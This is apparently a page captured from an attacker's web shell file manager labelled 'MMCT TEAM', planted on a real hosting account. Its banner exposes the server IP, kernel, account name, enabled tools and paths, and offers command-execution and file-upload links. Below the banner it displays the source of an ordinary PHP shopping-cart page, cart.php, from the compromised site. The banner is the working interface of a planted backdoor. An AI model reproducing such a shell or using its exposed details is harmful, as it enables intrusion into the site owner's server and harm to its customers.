MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.147.48.105
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/rajwadahouse.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/rajwadahouse.com/cart.php
<?php
session_start();
?>
<!doctype html>
<html class="no-js" lang="zxx">

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <?php include "top-links.php";?>
    <title>Cart</title>
    <style>
        .order{
                background-color: #f5f5f5;
                padding:15px;
                margin:auto;
                width: 100%;
        }
        .order span{
            color:#0e0e0e;
            font-size:16px;
            line-height:33px;
        }
    </style>
</head>

<body>

    <div id="main-wrapper">

        <?php include "header.php";?>

        <!-- Page Banner Section Start -->
        <div class="page-banner-section section bg-image" data-bg="assets/images/bg/breadcrumb.jpg">
            <div class="container">
                <div class="row">
                    <div class="col">
                        <div class="page-banner text-center">
                            <h1>Cart</h1>
                            <ul class="page-breadcrumb">
                                <li><a href="<?php echo $wspath; ?>">Home</a></li>
                                <li>Cart</li>
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </div>
       
        <div class="cart-section section pt-100 pt-lg-80 pt-md-70 pt-sm-60 pt-xs-50">
            <div class="container sb-border pb-70 pb-lg-50 pb-md-40 pb-sm-30 pb-xs-20">
                <div class="row">
                    <div class="col-12">
                        <!-- Cart Table -->
                        <div class="cart-table table-responsive mb-30">
                            <table class="table">
                                <thead>
                                    <tr>
                                        <th class="pro-thumbnail">Image</th>
                                        <th class="pro-title">Product</th>
                                        <th class="pro-price">Price</th>
                                        <th class="pro-quantity">Quantity</th>
                                        <th class="pro-subtotal">Total</th>
                                        <th class="pro-remove">Remove</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php if (isset($_SESSION['cart']) && !empty($_SESSION['cart'])) : ?>
                                        <?php
                                            $total = 0;
                                            $totalQuantity = 0;
                                            $productNames = [];
                                            $productQuantities = [];

                                            foreach ($_SESSION['cart'] as $key => $value) :
                                                $itemName = htmlspecialchars($value['name'], ENT_QUOTES, 'UTF-8');
                                                $itemQuantity = (int) htmlspecialchars($value['quantity'], ENT_QUOTES, 'UTF-8');
                                                $itemPrice = (float) htmlspecialchars($value['price'], ENT_QUOTES, 'UTF-8');
                                                $itemImage = htmlspecialchars($value['image'], ENT_QUOTES, 'UTF-8');
                                                $itemSubtotal = $itemPrice * $itemQuantity;

                                                $total += $itemSubtotal;
                                                $totalQuantity += $itemQuantity;
                                                $productNames[] = $itemName;
                                                $productQuantities[] = $itemQuantity;
                                        ?>
                                            <tr>
                                                <td class="pro-thumbnail">
                                                    <img src="<?php echo $itemImage; ?>" alt="Product">
                                                </td>
                                                <td class="pro-title">
                                                    <a href="#"><?php echo $itemName; ?></a>
                                                </td>
                                                <td class="pro-price">
                                                    <span>₹<?php echo number_format($itemPrice, 2); ?></span>
                                                </td>
                                                <td class="pro-quantity">
                                                    <form action="add-cart.php" method="POST">
                                                        <div class="quantity">
                                                            <button type="button" class="qty-btn" data-action="decrease" onclick="updateQuantity(this, -1)">-</button>
                                                            <input type="number" style="width: 50px;" name="mod_quantity" value="<?php echo $itemQuantity; ?>" min="1" onChange="this.form.submit();">
                                                            <button type="button" class="qty-btn" data-action="increase" onclick="updateQuantity(this, 1)">+</button>
                                                        </div>
                                                        <input type="hidden" name="name" value="<?php echo $itemName; ?>">
                                                        <input type="hidden" name="sr_no" value="<?php echo $value['id']; ?>">
                                                    </form>
                                                </td>
                                                <td class="pro-subtotal">
                                                    <span>₹<?php echo number_format($itemSubtotal, 2); ?></span>
                                                </td>
                                                <td class="pro-remove">
                                                    <form action="add-cart.php" method="POST">
                                                        <button name="remove_product" value="<?php echo $key; ?>" class="btn">
                                                            <i class="fa fa-trash-o"></i>
                                                        </button>
                                                        <input type="hidden" name="name" value="<?php echo $itemName; ?>">
                                                    </form>
                                                </td>
                                            </tr>
                                        <?php endforeach; ?>
                                    <?php endif; ?>
                                </tbody>
                            </table>
                        </div>

                        <div class="row">
                            <div class="col-lg-6 col-12 mb-5">
                                <h3><a href="<?php echo $wspath?>shop.html">Keep Shopping</a></h3>
                            </div>

                            <!-- Cart Summary -->
                            <div class="col-lg-6 col-12 mb-30 d-flex">
                                <form action="checkout.html" method="POST" class="order">
                                    <h3 class="cart_summary-header">Order Summary</h3>
                                    <div class="cart_summary-table">
                                        <div class="cart_summary-table_row d-flex justify-content-between">
                                            <span class="property">Shipping</span>
                                            <span class="value">Free</span>
                                        </div>
                                        <?php if (isset($_SESSION['cart']) && !empty($_SESSION['cart'])) : ?>
                                            <?php
                                            $total = 0;
                                            $totalQuantity = 0;
                                            $productNames = array();
                                            $productQuantities = array();
                            
                                            foreach ($_SESSION['cart'] as $key => $value) {
                                                $subtotal = $value['price'] * $value['quantity'];
                                                $total += $subtotal;
                                                $totalQuantity += $value['quantity'];
                                                $productQuantities[] = $value['quantity'];
                                                $productNames[] = $value['name'];
                                            }
                                            ?>
                                            <input type="hidden" name="total_quantity" value="<?php echo $totalQuantity; ?>">
                                            <input type="hidden" name="product_quantities" value="<?php echo implode(',', $productQuantities); ?>">
                                            <input type="hidden" name="product_names" value="<?php echo implode(', ', $productNames); ?>">
                                            <input type="hidden" name="total_price" value="<?php echo number_format($total, 2); ?>">
                                        <?php endif; ?>
                                        <div class="cart_summary-table_row cart_summary-table_row--total d-flex justify-content-between">
                                            <span class="property">Total Products</span>
                                            <span class="value"><?php echo $totalQuantity; ?></span>
                                        </div>
                                        <div class="cart_summary-table_row cart_summary-table_row--total d-flex justify-content-between">
                                            <span class="property">Total</span>
                                            <span class="value" id="g2total">₹<?php echo number_format($total, 2); ?></span>
                                        </div>
                                    </div>
                                    <button class="cart_summary-btn btn" type="submit" name="check-btn">Checkout</button>
                                </form>
                            </div>

                        </div>
                    </div>
                </div>            
            </div>
        </div>
      
        <script>
        // Function to handle quantity update buttons
        function updateQuantity(button, delta) {
            let input = button.parentNode.querySelector('input[name="mod_quantity"]');
            let newValue = parseInt(input.value) + delta;
            if (newValue >= 1) {
                input.value = newValue;
                input.form.submit();
            }
        }
        </script>
      
        <?php include "footer.php";?>

    </div>

</body>



</html>

MMCT - 2023